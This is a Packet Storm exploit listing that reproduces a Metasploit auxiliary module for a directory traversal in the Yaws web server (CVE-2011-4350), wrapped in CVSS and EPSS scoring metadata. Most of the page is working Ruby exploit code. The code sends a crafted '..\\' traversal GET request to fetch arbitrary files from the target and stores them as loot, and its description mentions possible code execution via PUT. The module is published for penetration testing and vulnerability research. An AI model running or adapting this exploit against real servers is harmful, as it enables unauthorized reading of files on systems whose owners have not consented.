Lucene search

K
packetstormSinn3r, metasploit.comPACKETSTORM:181020
HistorySep 01, 2024 - 12:00 a.m.

Yaws Web Server Directory Traversal

2024-09-0100:00:00
sinn3r, metasploit.com
packetstormsecurity.com
13
yaws web server
directory traversal
exploit
metasploit module
cve 2011-4350
osvdb 77581
bugzilla red hat

CVSS2

4

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:S/C:P/I:N/A:N

CVSS3

6.5

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

AI Score

7

Confidence

Low

EPSS

0.211

Percentile

96.5%

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Auxiliary::Scanner  
include Msf::Auxiliary::Report  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Yaws Web Server Directory Traversal",  
'Description' => %q{  
This module exploits a directory traversal bug in Yaws v1.9.1 or less.  
The module can only be used to retrieve files. However, code execution might  
be possible. Because when the malicious user sends a PUT request, a file is  
actually created, except no content is written.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'sinn3r', # Metasploit module  
],  
'References' =>  
[  
['CVE', '2011-4350'],  
['OSVDB', '77581'],  
['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=757181']  
],  
'DisclosureDate' => '2011-11-25'  
))  
  
register_options(  
[  
Opt::RPORT(8080),  
OptString.new('FILEPATH', [false, 'The name of the file to download', 'windows\\win.ini'])  
])  
end  
  
def run_host(ip)  
# No point to continue if no filename is specified  
if datastore['FILEPATH'].nil? or datastore['FILEPATH'].empty?  
print_error("Please supply the name of the file you want to download")  
return  
end  
  
# Create request  
traversal = "..\\..\\..\\..\\"  
res = send_request_raw({  
'method' => 'GET',  
'uri' => "/#{traversal}/#{datastore['FILEPATH']}"  
}, 25)  
  
# Show data if needed  
if res and res.code == 200  
vprint_line(res.to_s)  
fname = File.basename(datastore['FILEPATH'])  
  
path = store_loot(  
'yaws.http',  
'application/octet-stream',  
ip,  
res.body,  
fname  
)  
print_status("File saved in: #{path}")  
else  
print_error("Nothing was downloaded")  
end  
end  
end  
`

CVSS2

4

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:S/C:P/I:N/A:N

CVSS3

6.5

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

AI Score

7

Confidence

Low

EPSS

0.211

Percentile

96.5%